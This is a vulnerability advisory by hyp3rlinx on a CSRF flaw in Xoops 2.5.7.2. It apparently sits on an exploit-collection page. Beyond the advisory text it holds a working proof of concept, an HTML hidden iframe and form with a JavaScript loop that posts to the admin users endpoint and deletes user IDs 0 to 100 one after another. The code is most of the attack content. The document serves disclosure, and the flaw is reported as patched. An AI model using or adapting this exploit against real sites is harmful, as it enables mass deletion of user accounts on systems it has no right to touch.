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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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<!--
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/XOOPS-CSRF.txt


Vendor:
=============
xoops.org


Product:
================
Xoops 2.5.7.2


Vulnerability Type:
===================================
CSRF - Arbitrary User Deletions


Vulnerability Details:
=====================

Xoops 2.5.7.2 has CSRF vulnerability where remote attackers can delete ALL
users from the Xoops database.


References:
http://xoops.org/modules/news/article.php?storyid=6757


Exploit Codes:
=============

Following CSRF attack delete all users from database, following POC code
will sequentially delete 100 users from the Xoops application.
-->

<iframe name="ifrm" style="display:none" name="hidden-form"></iframe>

<form target="ifrm" name='memberslist' id='CSRF' action='
http://localhost/xoops-2.5.7.2/htdocs/modules/system/admin.php?fct=users'
method='POST'>
<input type="hidden" id="ids" name="memberslist_id[]" />
<input type="hidden" name="fct" value="users" />
<input type="hidden" name="edit_group" value="" />
<input type="hidden" name="selgroups" value="" />
<input type="hidden" name="op" value="users_add_delete_group" />
<input type="hidden" name="op" value="action_group" />
<input type="hidden" name="Submit" value="Submit+Query" />
</form>

<script>
var c=-1
var amttodelete=100
var id=document.getElementById("ids")
var frm=document.getElementById("CSRF")
function doit(){
c++
arguments[1].value=c
arguments[0].submit()
if(c>=amttodelete){
  clearInterval(si)
  alert("Done!")
}
}
var si=setInterval(doit, 1000, frm, id)
</script>

<!--
Disclosure Date:
==================================
Jan 29, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure

=================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere. (c) hyp3rlinx.
-->